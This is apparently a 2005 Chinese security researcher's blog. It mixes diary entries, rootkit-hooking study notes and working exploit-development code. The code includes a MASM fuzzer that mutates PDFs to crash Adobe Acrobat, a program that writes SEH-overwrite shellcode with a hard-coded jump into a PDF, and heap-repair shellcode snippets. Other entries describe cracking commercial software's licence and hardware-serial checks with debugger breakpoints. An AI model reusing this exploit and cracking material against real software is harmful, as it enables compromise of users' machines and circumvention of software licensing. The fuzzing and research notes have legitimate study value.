2005年12月12日

已经转向

http://seclab.mblogger.cn/pll/

21:08 | 评论 (0)

2005年11月27日

         那么标准函数都编写成在进行rep操作之前,都执行std指令,轻松绕过冯.诺伊曼机的缺陷,我们还活个p啊.即使能连续覆盖相邻的地址,我也不认为低于标准栈的地址有什么值得覆盖的位置.

7:03 | 评论 (0)

2005年11月26日

        做一个exp,一个断点在出现D1次后(统计后才晓得的),才出现了感兴趣东西.然后再回溯,于是有得数次数...万一按过了,数错了,就得从头来了.ollyscript的确是个好东西.很轻松解决了这种问题.当然在使用过程中,我也在考虑,这东西对于挖掘漏洞是不是也有帮助呢?不足的是这东西功能有点弱,但愿能.另外一个感觉是,要是搞破解的都去搞exp,那不天下打乱了啊,呵呵

        呵呵,算是和某人调试经验的交流吧:)

2:55 | 评论 (0)

2005年11月23日

        否则任务真的无法完成了.郁闷!

14:54 | 评论 (2)

2005年11月18日

        解释语言实在头疼去跟,agou也提出了一个工程量异常巨大的方法,不敢去尝试,看了那个注册文件,有些字段竟然相当熟悉,sice中下断:

        bpx kernel32!DeviceIoControl if *(esp+4)==00074080

        向底层驱动程序发送请求的时候(DeviceIoControl),Io请求码为00074080 |IoControlCode=SMART_RCV_DRIVE_DATA       

        既然看不懂算法,只有hook才能解决读取硬盘序列号得问题.头疼中...

22:48 | 评论 (2)

2005年11月14日

        本来想跟一下,看看jerry兄的杰作,也可以对以后的工作能有个指导作用.

        jerry兄的风格真的不能让人苟同,一堆的API,浪费变量空间,为啥不同hash?

        找到了kernel32.dll,还要LoadLibraryA.

        但是跳转后加可执行还是挺让人折服的,(难道是一个一个强测的?)就到这里了,不跟了,太粪!

3:21 | 评论 (0)

2005年11月13日

对于那个测试工具,有一点值得优化的地方:

测试整型溢出:

        字符串:“AA“

        步长:2

测试字符串溢出:

        x dup(A)

        步长:1

别的似乎就没有必要测试了。

只是工具使用了TerminateProcess,可能产生内存泄漏。

另外在2000下的测试表明,关闭系统弹出的对话框的权限不够,呵呵,这些都不是关键了。

0:26 | 评论 (0)

2005年11月12日

        当然代码没有优化,而且有些杂乱,只是因为半途遇到一个小麻烦...如果某人想用,可以发信询问一下详细信息,或者只是看看思路,很简单,差不多大家都会吧:)这是前天晚上有这么个想法,但是因为昨天的例会没有实现.今天和agou在实验室里琢磨了半天,也算将就完成了.比较垃圾的东西,希望能找到点有用的信息.

        搞linux实在头疼,没有半点思绪.想想也是,弄linux的时候,也就是不更新blog的时候.虽然linux下的任务还是很重,但是看着某台机器空闲在那里实在不舒服,就浪费了一天弄出来了.

        其实工具真的挺垃圾,不过从做exp到现在,不少是'aaaa...'的形式来触发的,可能稍微有点价值.当然包含运气成分,懒人的懒办法:)

--------------------------------violence.asm---------------------------------

.586
.model flat,stdcall
option casemap:none
 include  c:\masm32\include\windows.inc
 include  c:\masm32\include\kernel32.inc
 includelib c:\masm32\lib\kernel32.lib
 include  c:\masm32\include\user32.inc
 includelib c:\masm32\lib\user32.lib
 include  c:\masm32\include\shell32.inc
 includelib c:\masm32\lib\shell32.lib

   
.data?
 hOriginal  dd ?
 hNew   dd ?
 dwByteWritten  dd ?  
 dwFileSize  dd ?
 hCapWnd   dd ?
 hCmdWnd   dd ?
 dwThreadID  dd ?
 
.data
 szAbnormalFile  db MAX_PATH dup(0)
 
 szOperation  db 'open',0
   
 szErrExec  db '无法装载执行文件!',0 

 szConfigPath  db MAX_PATH dup(0)  
 szPluginPath  db MAX_PATH dup(0)
 
 szConfigFileName db '\config.ini',0
 szSectionName  db 'Violence Config',0
 szDefault  db 'Default',0

 szKeyTargetProg  db 'TargetProg',0 
 szTargetProg  db MAX_PATH dup(0)
 szKeyAbnormalCap db 'AbnormalCap',0 
 szAbnormalCap  db MAX_PATH dup(0)
 szKeyAbnormalCmd db 'AbnormalCmd',0 
 szAbnormalCmd  db MAX_PATH dup(0)  
 szKeyOriginal  db 'Original',0 
 szOriginal  db MAX_PATH dup(0)
 szKeyNew  db 'New',0 
 szNew   db MAX_PATH dup(0)
  
 szKeyViolenceString db 'ViolenceString',0 
 szViolenceString db MAX_PATH dup(0)
 
 szKeyNormalCap  db 'NormalCap',0 
 szNormalCap  db MAX_PATH dup(0)
  
 szKeyStartInterval db 'StartInterval',0  
 dwStartInterval  dd 0
 szKeyCloseInterval db 'CloseInterval',0 
 dwCloseInterval  dd 0
 szKeyAbnormalIndex db 'AbnormalIndex',0 
 dwAbnormalIndex  dd 0
   
 dwViolenceStringLen dd 0 
 szViolenceChar  db 'A',0
  
 szKeyFileOffset  db 'FileOffset',0
 dwFileOffset  dd 0
  
 szCaption  db MAX_PATH dup(0)
 szCaptionTemp  db MAX_PATH dup(0)
 szCmd   db MAX_PATH dup(0)
 
 szMainCaption  db 'Violence-penetrate test,develop by PLL,is now running',0
 szMainInfo  db 'Click OK to exit!',0

 szFileOffset  db MAX_PATH dup(0)
 szFileOffsetFmt  db '%d',0

.code

 assume fs:nothing

_penetrate proc _hWnd:DWORD

 invoke RtlZeroMemory,addr szConfigPath,sizeof szConfigPath 
 invoke GetCurrentDirectory,MAX_PATH,addr szPluginPath
 invoke lstrcpy,addr szConfigPath,addr szPluginPath
 mov esi,offset szConfigPath
 invoke lstrlen,esi
 mov ecx,offset szConfigFileName
 .if byte ptr [esi+eax-1] == '\'
  inc ecx
 .endif
 invoke lstrcat,esi,ecx 
 
 invoke GetPrivateProfileInt,addr szSectionName,addr szKeyStartInterval,50,addr szConfigPath
 mov dwStartInterval,eax
 invoke GetPrivateProfileInt,addr szSectionName,addr szKeyCloseInterval,50,addr szConfigPath
 mov dwCloseInterval,eax 
 invoke GetPrivateProfileInt,addr szSectionName,addr szKeyAbnormalIndex,50,addr szConfigPath
 mov dwAbnormalIndex,eax

 invoke GetPrivateProfileString,addr szSectionName,addr szKeyNormalCap,addr szDefault,addr szNormalCap,MAX_PATH,addr szConfigPath      
 invoke GetPrivateProfileString,addr szSectionName,addr szKeyAbnormalCap,addr szDefault,addr szAbnormalCap,MAX_PATH,addr szConfigPath 
 invoke GetPrivateProfileString,addr szSectionName,addr szKeyAbnormalCmd,addr szDefault,addr szAbnormalCmd,MAX_PATH,addr szConfigPath 
 invoke GetPrivateProfileString,addr szSectionName,addr szKeyTargetProg,addr szDefault,addr szTargetProg,MAX_PATH,addr szConfigPath
 invoke GetPrivateProfileString,addr szSectionName,addr szKeyOriginal,addr szDefault,addr szOriginal,MAX_PATH,addr szConfigPath  
 invoke GetPrivateProfileString,addr szSectionName,addr szKeyNew,addr szDefault,addr szNew,MAX_PATH,addr szConfigPath 

 invoke GetPrivateProfileString,addr szSectionName,addr szKeyViolenceString,addr szDefault,addr szViolenceString,MAX_PATH,addr szConfigPath
   
 invoke lstrlen,addr szViolenceString
 mov dwViolenceStringLen,eax
 
 invoke GetPrivateProfileInt,addr szSectionName,addr szKeyFileOffset,50,addr szConfigPath
 mov dwFileOffset,eax 
 
 invoke CreateFile,addr szOriginal,GENERIC_WRITE,FILE_SHARE_READ,\
  0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
 .if eax!=INVALID_HANDLE_VALUE
  mov hOriginal,eax
  invoke GetFileSize,eax,NULL
  mov dwFileSize,eax 
  invoke CloseHandle,hOriginal 
 .endif  
 
      
 .while TRUE
  invoke CopyFileA,addr szOriginal,addr szNew,FALSE
  mov eax,dwFileOffset
  add eax,dwViolenceStringLen
  .if eax>dwFileSize
   invoke lstrcat,addr szViolenceString,addr szViolenceChar
   mov eax,dwViolenceStringLen
   inc eax
   mov dwViolenceStringLen,eax
   mov dwFileOffset,0
   invoke lstrlen,addr szViolenceString

   .if eax==MAX_PATH
;save some key in config.ini    
   .endif   
;save some key in config.ini   
   invoke WritePrivateProfileString,addr szSectionName,addr szKeyViolenceString,addr szViolenceString,addr szConfigPath  
   invoke wsprintf,addr szFileOffset,addr szFileOffsetFmt,dwFileOffset
   invoke WritePrivateProfileString,addr szSectionName,addr szKeyFileOffset,addr szFileOffset,addr szConfigPath 
  .endif 
    
  invoke CreateFile,addr szNew,GENERIC_WRITE,FILE_SHARE_READ,\
   0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
  .if eax!=INVALID_HANDLE_VALUE
   mov hNew,eax
   mov eax,dwFileOffset  
   invoke SetFilePointer,hNew,eax,0,FILE_BEGIN
   mov eax,dwViolenceStringLen
   invoke WriteFile,hNew,addr szViolenceString,eax,addr dwByteWritten,0
   invoke CloseHandle,hNew
  .endif
  
  invoke ShellExecute,NULL,addr szOperation,addr szTargetProg,addr szNew,NULL,SW_SHOWNORMAL
  invoke Sleep,dwStartInterval   
  
;find windows
  invoke GetDesktopWindow   
  invoke GetWindow,eax,GW_CHILD  
  invoke GetWindow,eax,GW_HWNDFIRST
  mov hCapWnd,eax  
  .while eax
   
   invoke GetWindowText,hCapWnd,addr szCaption,sizeof szCaption   
   .if eax
    invoke RtlZeroMemory,addr szCaptionTemp,sizeof szCaptionTemp    
    invoke lstrlen,addr szAbnormalCap
    inc eax
    invoke lstrcpyn,addr szCaptionTemp,addr szCaption,eax
    invoke lstrcmp,addr szCaptionTemp,addr szAbnormalCap
    .if eax==0
   
     invoke GetWindow,hCapWnd,GW_CHILD
     invoke GetWindow,eax,GW_HWNDFIRST
     mov hCmdWnd,eax            
     .while eax
      invoke GetWindowText,hCmdWnd,addr szCmd,sizeof szCmd 
      invoke RtlZeroMemory,addr szCaptionTemp,sizeof szCaptionTemp    
      invoke lstrlen,addr szAbnormalCmd
      inc eax
      invoke lstrcpyn,addr szCaptionTemp,addr szCmd,eax
      invoke lstrcmp,addr szCaptionTemp,addr szAbnormalCmd
      .if eax==0             
;record the importent information 
;copy the importent file
       invoke lstrcpy,addr szAbnormalFile,addr szNew
       invoke lstrlen,addr szAbnormalFile
       lea ecx,offset szAbnormalFile
       add ecx,eax
       sub ecx,5
       mov eax,dwAbnormalIndex
       mov byte ptr[ecx],al
       inc eax
       mov dwAbnormalIndex,eax
       invoke CopyFileA,addr szNew,addr szAbnormalFile,FALSE                      
               
      .endif
      invoke GetWindow,hCmdWnd,GW_HWNDNEXT 
      mov hCmdWnd,eax
      invoke GetParent,eax
      mov eax,hCmdWnd     
     .endw      
    .endif   

   .endif
   invoke GetWindow,hCapWnd,GW_HWNDNEXT 
   mov hCapWnd,eax
   invoke GetParent,eax
   mov eax,hCapWnd
  .endw 

  invoke FindWindow,NULL,addr szNormalCap
  .if eax
   invoke GetWindowThreadProcessId,eax,addr hCapWnd
   invoke OpenProcess,PROCESS_TERMINATE,TRUE,hCapWnd
   invoke TerminateProcess,eax,NULL
  .endif   
  invoke FindWindow,NULL,addr szAbnormalCap
  .if eax
   invoke GetWindowThreadProcessId,eax,addr hCapWnd
   invoke OpenProcess,PROCESS_TERMINATE,TRUE,hCapWnd
   invoke TerminateProcess,eax,NULL
  .endif 
  
  invoke Sleep,dwCloseInterval
  mov eax,dwFileOffset
  inc eax
  mov dwFileOffset,eax    
 .endw
_penetrate endp 
 
start:
 invoke CreateThread,NULL,0,addr _penetrate,NULL,NULL,addr dwThreadID
 invoke MessageBoxA,NULL,addr szMainInfo,addr szMainCaption,NULL
 invoke WritePrivateProfileString,addr szSectionName,addr szKeyViolenceString,addr szViolenceString,addr szConfigPath  
 invoke wsprintf,addr szFileOffset,addr szFileOffsetFmt,dwFileOffset
 invoke WritePrivateProfileString,addr szSectionName,addr szKeyFileOffset,addr szFileOffset,addr szConfigPath  
 invoke ExitProcess,NULL
end start

--------------------------------violence end---------------------------------

---------------------------------config.ini------------------------------------

[Violence Config]
TargetProg=C:\Program Files\Adobe\Acrobat 6.0\Acrobat\Acrobat.exe
Original=D:\workspace\exploit\violence\code\basic.pdf
New=D:\workspace\exploit\violence\code\new.pdf
ViolenceString=A
FileOffset=0
NormalCap=Adobe Acrobat Standard
AbnormalCap=Adobe Acrobat 6.0
AbnormalCmd=发送错误报告
AbnormalIndex=65
StartInterval=20000
CloseInterval=5000

--------------------------------config end--------------------------------

 

3:08 | 评论 (0)

2005年11月8日

        好几处跳转,跳得我晕头转向,不得不佩服某些人真是牛x啊。

        改天把swan的也拿出来,看看他的力作!

5:17 | 评论 (2)

2005年11月7日

        国内做安全和国外的风格迥异.某个exp甚至公布了两年了,国内还是找不到细节.顺着某些链接找到国外的对这个漏洞的描叙,才发现是多么的无私,不过国内的人是靠这个吃饭的,真的不能怪他们什么,我想我也会这么做的.

        另外从来自不同地区的文档来看,jerry兄的好东西已经传遍全中国了~而且晓得了jerry大概是提供一个什么样子的服务,阴险啊~

2:40 | 评论 (0)

2005年11月6日

        这几天弄一个Crack和linux下的rk,让我焦头烂额,幸好山东某哥们送我一个好玩的东西,内部配置了一个计算器,我就是敢随便打开,而且方便测试.呵呵

        其实配置程序还是比较好做的.因为作者犯了错误.错误存在于他的test文件,主要错误:

        1.文件留的空间太大了.

        2.内部的程序并没有校验,随便替换文件就可搞定.

        当然我的吹毛求疵并不能抹煞作者的天才之做.

        不过查杀shellcode还是比较容易搞定俺的替换的,最有保障的方法当然是看看作者是怎么做的.当然也是某些人提出的要求.

        自然这里要提一点小置疑.这个哥们给我的这个文件为啥包含两个程序?第一个程序用来释放第二个?如果要我做,我肯定在shellcode的时候就把第二个程序释放出来了.难道第一个程序有什么不可告人的目的?哎,不想太多了,反正我开发机不上网.呵呵.

4:11 | 评论 (0)

2005年10月31日

        做得很头疼,在这里顺便做个总结

        该exp属于一个整型溢出,在某些系统下,往堆栈内拷贝数据的时候,数据越过堆栈,覆盖了相邻的堆区(默认堆:fs:[30h]+18h,私有堆fs:[30h]+90h,都指向这段区域,可能还有别的数据.当然这个也不是做堆溢出现象.)

        这个覆盖导致了一些api不能成功执行.如某些api内部调用了RtlAllocHeap来分配内存以进行unicode得转化.本以为修复堆空闲链表就能成功.

        1)简单地替换了堆的指针:

        push 0ffffh
        push 04000h
        push 4
        call HeapCreate
       
        mov ecx,fs:[30h]
        mov [ecx+18h],eax

        实际上在调用RtlAllocHeap的时候,压栈的默认堆指针并没有改变,也就是默认堆的指针不仅仅是存在于fs:[30h]+18h了.当然,替换掉这个来源还不清楚的指针,也没有改变失败的结果.

        这个方法也是<网络渗透技术>上提出的方法,现在比较置疑这种方法了.这种替换和不替换效果是一致的.不晓得算啥子修复哦.

        2)替换整个堆.

        当然这个操作是比较危险的,但是还是值得一试的.

        push 0ffffh
        push 04000h
        push 4
        call HeapCreate
       
        mov ecx,fs:[30h]
        mov [ecx+18h],eax
        mov esi,eax
        mov ecx,fs:[30h]
        mov edi,[ecx+18h]
        mov ecx,04000h
        cld
        rep movsb

        值得高兴的是,我在调用MessageBox的时候,听到了MessageBox的提示音,找了半天没找到那个对话框.然后跟踪的结果是,MessageBox的两个转化后的字符串跑到了另外一个新分配的堆内了.其实这个现象还是可以理解的,因为堆空闲链表的指针的确是指向那些位置的.不足的地方是,两个字符串竟然相互覆盖了.还以为距离成功已经很近了.
       
        3)使用了<网络渗透技术>上funnywei提供的修复整个空闲链表和位图的方法来进行修复.
        (代码略)

        亲见这段代码一个一个地修复了空闲堆链表.就是没调用成功.当然我的情况和堆溢出的情况不同,但是错误的细节实在无心继续跟了.
        
        构造整个堆,改com指针,都是一些思路,虽然我晓得做出这个exp的对于以后工作的指导意义.但是不晓得会不会遇到类似的问题,不敢去尝试了.

        希望是一种假死,哪天能继续拉出来鞭尸.

18:38 | 评论 (2)

2005年10月30日

最近做一个exp,该exp是一个整型溢出

        往堆栈进行数据拷贝的过程中,被拷贝的数据越过进程栈,通过对比,发现把进程默认堆覆盖了.进程默认堆的一些结构被覆盖,导致与unicode转化相关的api,与ring3->ring0相关的api,如用到HeapAlloc的api不能正确执行.

        想了不少种方法,甚至想构造一个最简单的堆,<网络渗透技术>也稍微看了(失误的地方在于没看代码...).只是觉得结构太长,数据设置可能要花不少时间.各种方法都尝试过后,又仔细看了<网络渗透技术>,才发现细节放在代码里了.高手的文章啊,只能在代码里体现出来...

        其实本人刚刚拿到书后,也对这本书很bs的.没有用到,怎么能知道它的价值呢:)

10:42 | 评论 (4)

2005年10月29日

        郁闷,感冒了,不敢去看刚刚出生的小侄女,连家里人都不敢接触,怕间接传染:(

3:39 | 评论 (0)

2005年10月28日

新鲜出炉啊,对于覆盖seh的exp比较有用.其实也就是opcode填写的自动化

里面不少硬编码,不过是为了测试.

话不多说,明者自明,实在感兴趣,可以发信讨论.

.586
.model flat,stdcall
option casemap:none 
    include c:\masm32\include\windows.inc
    include c:\masm32\include\kernel32.inc
    includelib c:\masm32\lib\kernel32.lib
    include c:\masm32\include\user32.inc
    includelib c:\masm32\lib\user32.lib
  
  
.data
    NullMsgBoxCaption db "Null",0
    NullMsgBoxText  db "Just used to load user32.dll",0 
    @szFileName  db 'joke.pdf',0
    @hFile   dd ?
    @dwByteWritten  dd ?
  
    SEH_HANDLER_POS  equ 000244ACh    
.code
start: 
    invoke MessageBox,NULL,addr NullMsgBoxText,addr NullMsgBoxCaption,MB_OK
  
    invoke CreateFile,addr @szFileName,GENERIC_WRITE,FILE_SHARE_READ,\
      0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
    .if eax!=INVALID_HANDLE_VALUE
        mov @hFile,eax
  
        mov eax,SEH_HANDLER_POS
        sub eax,__main_code_len
        sub eax,4   
        invoke SetFilePointer,@hFile,eax,0,FILE_BEGIN
   
        mov eax,__opcode_len
        lea ecx,__opcode_start
        invoke WriteFile,@hFile,ecx,eax,addr @dwByteWritten,0
        invoke CloseHandle,@hFile
    .endif 
    ret 
 
__opcode_start:
  
szContent:  
      db 43h,61h,6eh,20h,55h,
           20h,73h,65h,65h,20h,
           6dh,65h,3fh,0  
szCaption:
      db 53h,75h,63h,63h,65h,73h,73h,21h,0

skip_data:
      call @f
@@:  
      pop ebx
      sub ebx,@b
      push MB_OK
      lea eax,[ebx+szCaption]
      push eax
  
      lea eax,[ebx+szContent]
      push eax
      push NULL
      mov eax,77e18098h  ;MessageBox hard coding
      call eax 

__main_code_len equ $-__opcode_start
  
fake_seh:
      db 0ebh,06h,00h,00h, ;SKIP
           35h,1Bh,0B0h,77h ;JMP ADDRESS
;enough nop for debug
;1  
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
;2  
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
;3  
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
;4  
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
;5  
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
;6  
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
;7  
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop  
;8
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop 
;9
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
;10
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
;11
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
;12
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
;13
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
;14
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
;15
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop 
;16
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
;17
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
;18
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
;19
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
;20
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop                                     
;  mov eax,[esp+0ch] ;pointer to context
;  mov esp,[eax+0c4h] ;draw the value of esp and modify esp

      jmp skip_data
__opcode_len equ $-__opcode_start    
end start  

 

 

2:55 | 评论 (4)

        家嫂为俺添了个小侄女,侵犯一下小姑娘的肖像权:)

2:52 | 评论 (0)

2005年10月27日

        编译后,删除所有的可执行vba代码.所以解密等方法是无法看到vba代码的.唯一的方法:跟踪!

        还是浪费了不少时间来尝试各种解密软件的,呵呵.

6:03 | 评论 (0)

        又花了4个小时装office,天天似乎都在干这种鸟事.

        那台台式机实在晃眼,就在虚拟机下弄,好恶心的虚拟机,ollydbg调试word基本分析不完整.恶心!

        本来今天能出来一份不错的报告呢...

3:38 | 评论 (0)

2005年10月25日

        哎,感觉现在自己破解的东西越来越没水准了.
        前几天破解了一个foxpro的软件,已经很鄙视了,今天居然碰到了一个access+vba的软件,这年头啊,能卖出去就是老大!这个垃圾软件居然要收费,真的很不能理解.
        首先看了一下他们提供的注册软件.用ollydbg跟了一下,居然有汇编编写的风格,跟踪过程中跟到了这个注册软件释放了一个叫做gert0.dll的软件.名字太酷了,还以为真的碰到了硬骨头.google的结果居然是CreateInstall产生的东西.
        不过以前真的没见过这类软件的破解(似乎也没必要),觉得好难啊~呵呵,这个东西要是我能搞定,也可以弄个网站,类似http://www.everythingaccess.com/那样,提供逆向服务了.
        而且这个更尸吊(俺mm粗口说的...),vba代码加密,真的很晕特,其实现在很想退,不过,这个也是从入职来老板唯一给的任务,没办法了,硬着头皮上了.

13:43 | 评论 (2)

        前一段时间,与rootkit相关的东西没有半点进展,因为vmware下的系统不到半小时就停止响应了.以为是系统碎片比较多,就通宵整理了硬盘.结果没有半点好转.重装了vmware,还是老样子,于是删除了vmware下的winxp,win2k,linux.但是重新安装也是半途没有了响应.于是把vmware下的内存变成200M,就看到安装系统过程中,进程条幽幽得前进了.比较后悔删除了那些个系统了...
        vmware分配的内存过多,当然真实系统也开始变慢了,可怜的512M啊~改日哥哥给你升级到1G!
        最近和mm总是在一起鬼混,当然也影响到了进度,恩,不等了,回去睡了,看来一晚上也装不好了,so慢~

13:41 | 评论 (0)

    呵呵,下面几章就针对性太强了,不写笔记了.这一章也不想说啥,觉得和undoc winnt讲的没什么区别.

13:39 | 评论 (0)

2005年10月17日

15:33 | 评论 (0)

2005年10月10日

        让我立马停止了rootkit的工作.老大明示了最近急需的东西是什么,应该往什么方向努力.哎,有人指点就是有利工作,否则象个没头的苍蝇,没了老大,似乎真的就迷失方向了.

15:00 | 评论 (0)

2005年10月7日

        今天几个同学过来踢球,吃晚饭,耽误了不少时间,实在看不完第四章了,而且这几天也不会再看这本书了,毕竟实验室的工作要完成.

        关于本章的一些心得:

第一节:Userland Hooks

1.晚绑定的问题

亦代码中通过LoadLibrary & GetProcAddress来晚绑定的无法hook,这个没什么花头.

2.Inline Function Hooking

给出了我们以前的一些代码没有考虑到的地方比如,不同系统的preamble instructure.xp+sp2以前,ms不理会hot-patching的问题,因此前面的指令并不是5字节对齐的.xp+sp2以后,为了能不用重启来进行hot-patching,ms将前面的指令对齐为5字节.这个东西是《挂钩windows API》文中没有提到的地方(或许作者写这个东西的时候,xp+sp2还没出来吧)

当然,这种方法的hook的检测也是比较简单的,我在2005年9月25日的示例代码中给出了检测方法.既然hot-patching被ms认可,不知道这种检测的方式是否是很准确了,另外某些工具,比如<金山辞霸>就乱hook.因此,检测的结果应该定位为一个参考更准确些.而且绕过这种检测也算是比较复杂的了,代码中途的hook并不是一件好事,因为搞清楚代码中的branch是一件花时间的事情.

本小节考虑的不算周全,比如int 3的hook,比如critial section的重入问题.也许是篇幅的问题吧.

第二节:Kernel Hooks

(一)Hooking the System Service Descriptor Table
        1.Disable and re-enable memory protection的MDL的方法.
        2.hiding a process的时候,CPU time应该为100%,哇,这个真的不知道.
        3.顺便点评一下这里的代码,虽然Hook SSDT的功能比较bs,我还是编译了一遍. 感觉是,宏太多了,编译出错之后,找错误相当困难..
(二)Hooking the Interrupt Descriptor Table
        1.Hooking just the processor on which your code is currently executing is not sufficient; all the IDTs on the system must be hooked.
        2.execution control does not return to the IDT handler
(三)Hooking the Major I/O Request Packet Function Table in the Device Driver Object
        1.Much like the IDT, the functions that handle the major IRPs are not designed to call the original function and then filter the results.
        2.读了一下IRPhook来进行端口隐藏的代码,才感受到Jiurl的那段代码实在蹩脚.不过当看到里面的一些结构的时候,我倒是真的区分不出来原创到底是Jiurl还是fuzen_op的了.在rootkit.com上,Jiurl声称原创,嘿嘿.方法其实无所谓,不在乎什么SSDT还是IRP的hook,这些都是实现的问题.结构的整理可是要花点时间,Jiurl....哎,管他呢,有得用就好了.
        3.以前看的似乎对IRP分析的很好,忘得差不多了,看到这里有点吃力.
        4.DriverUnload带返回值,不晓得作者怎么通过编译的.

1:26 | 评论 (3)

2005年10月5日

        本章刚开始讲了一些原理的东西,没啥意思,看看undoc winnt也差不多了,毕竟那个有中文的.想更深入了解,就看手册好了.

        相信内容越来越精彩,本章主要的收获:

        1.IDT modify? or hook?

        2.Disable and re-enable memory protection,以前老以为是关中断一类的事情,写代码的时候还老照葫芦画瓢......

        3.SMP又勾起了我对核心编程的回忆.

        4.知道了CPU的哪些特性windows并没有使用.以前真的不知道.菜死了!

22:09 | 评论 (0)

Copyright pll.